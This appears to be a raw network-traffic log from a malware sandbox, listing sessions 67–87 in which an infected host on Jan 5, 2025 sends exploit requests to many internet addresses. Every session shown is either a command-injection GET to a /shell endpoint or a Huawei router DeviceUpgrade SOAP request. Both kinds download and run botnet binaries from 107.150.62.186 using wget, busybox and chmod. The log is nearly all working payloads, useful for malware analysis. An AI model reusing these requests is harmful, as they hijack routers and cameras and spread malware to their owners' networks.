53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.13	42640	2.208.165.87	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.787708044 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.13	55374	122.134.154.13	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.789361000 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.13	34234	105.76.238.137	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.790218115 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.13	40042	166.131.190.80	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.791040897 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.13	37894	41.24.113.224	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.813124895 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.13	44434	156.20.37.112	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.813956022 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.13	41266	41.148.147.70	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.845129967 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.13	47744	17.149.159.4	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.845185041 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.13	32792	41.108.229.87	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.846739054 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.13	36922	166.179.233.91	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:54.055810928 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.13	59016	156.195.220.109	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:54.055819035 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.13	41778	120.75.215.22	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:54.057523966 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.13	54868	197.196.5.50	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:54.057733059 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.13	37260	143.189.106.192	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:54.059236050 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.13	44712	156.29.43.93	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:54.059432983 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.13	43054	188.234.143.250	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:54.060899019 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.13	43788	41.252.167.172	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:54.061103106 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.13	58112	48.250.215.171	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:54.062711000 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.13	47546	220.83.51.33	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:54.063862085 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.13	41164	1.166.123.153	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:54.064677954 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.13	34570	113.255.83.238	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:54.065743923 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
